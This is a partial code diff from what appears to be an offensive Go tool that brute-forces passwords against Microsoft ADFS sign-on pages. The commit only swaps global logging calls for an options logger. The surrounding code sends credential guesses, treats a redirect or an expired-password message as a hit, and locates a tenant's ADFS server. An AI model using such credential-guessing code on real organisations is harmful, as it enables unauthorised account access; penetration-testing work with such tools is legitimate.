@@ -20,7 +20,7 @@ var ADFS_URL = "https://%s/adfs/ls/idpinitiatedsignon.aspx?client-request-id=%s&
20
20
21
21
func (options * Options ) brute (username , password string ) bool {
22
22
if len (strings .Split (username , "\\ " )) == 1 && len (strings .Split (username , "@" )) == 1 {
23
- log .Error ("Only email format or Domain\\ user are supported, skipping " + username )
23
+ options . Log .Error ("Only email format or Domain\\ user are supported, skipping " + username )
24
24
return false
25
25
}
26
26
uuid , _ := utils .NewUUID ()
@@ -47,7 +47,7 @@ func (options *Options) brute(username, password string) bool {
47
47
req .Header .Add ("Accept" , "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" )
48
48
resp , err := client .Do (req )
49
49
if err != nil {
50
- log .Fatal ("Error while sending the request: " + err .Error ())
50
+ options . Log .Fatal ("Error while sending the request: " + err .Error ())
51
51
}
52
52
53
53
// Authenticate
@@ -64,18 +64,18 @@ func (options *Options) brute(username, password string) bool {
64
64
resp , err = client .Do (req )
65
65
body , _ := ioutil .ReadAll (resp .Body )
66
66
if err != nil {
67
- log .Fatal ("Error while sending the request: " + err .Error ())
67
+ options . Log .Fatal ("Error while sending the request: " + err .Error ())
68
68
}
69
- log .Debug ("Status code: " + strconv .Itoa (resp .StatusCode ))
69
+ options . Log .Debug ("Status code: " + strconv .Itoa (resp .StatusCode ))
70
70
// Parse the response to know if the password match
71
71
if resp .StatusCode == 302 {
72
- log .Success (username + " and " + password + " matched" )
72
+ options . Log .Success (username + " and " + password + " matched" )
73
73
return true
74
74
} else if strings .Contains (string (body ), "Your password has expired" ) {
75
- log .Success (username + " and " + password + " matched but the password is expired" )
75
+ options . Log .Success (username + " and " + password + " matched but the password is expired" )
76
76
return true
77
77
} else {
78
- log .Fail (username + " and " + password + " does not matched" )
78
+ options . Log .Fail (username + " and " + password + " does not matched" )
79
79
return false
80
80
}
81
81
@@ -87,17 +87,17 @@ func (options *Options) findTarget(domain string) string {
87
87
url := fmt .Sprintf (FIND_ADFS_URL , domain )
88
88
body , _ , err := utils .GetBodyInWebsite (url , options .Proxy , nil )
89
89
if err != nil {
90
- log .Error (err .Error ())
90
+ options . Log .Error (err .Error ())
91
91
return ""
92
92
}
93
93
// Parse the response
94
94
var userRealmResponse userRealm
95
95
json .Unmarshal ([]byte (body ), & userRealmResponse )
96
96
if userRealmResponse .NameSpaceType == "Unknown" {
97
- log .Error ("Tenant " + domain + " not found" )
97
+ options . Log .Error ("Tenant " + domain + " not found" )
98
98
return ""
99
99
} else if userRealmResponse .NameSpaceType == "Managed" {
100
- log .Error ("Not ADFS found for " + domain )
100
+ options . Log .Error ("Not ADFS found for " + domain )
101
101
return ""
102
102
}
103
103
target = strings .Split (userRealmResponse .AuthURL , "/" )[2 ]
0 commit comments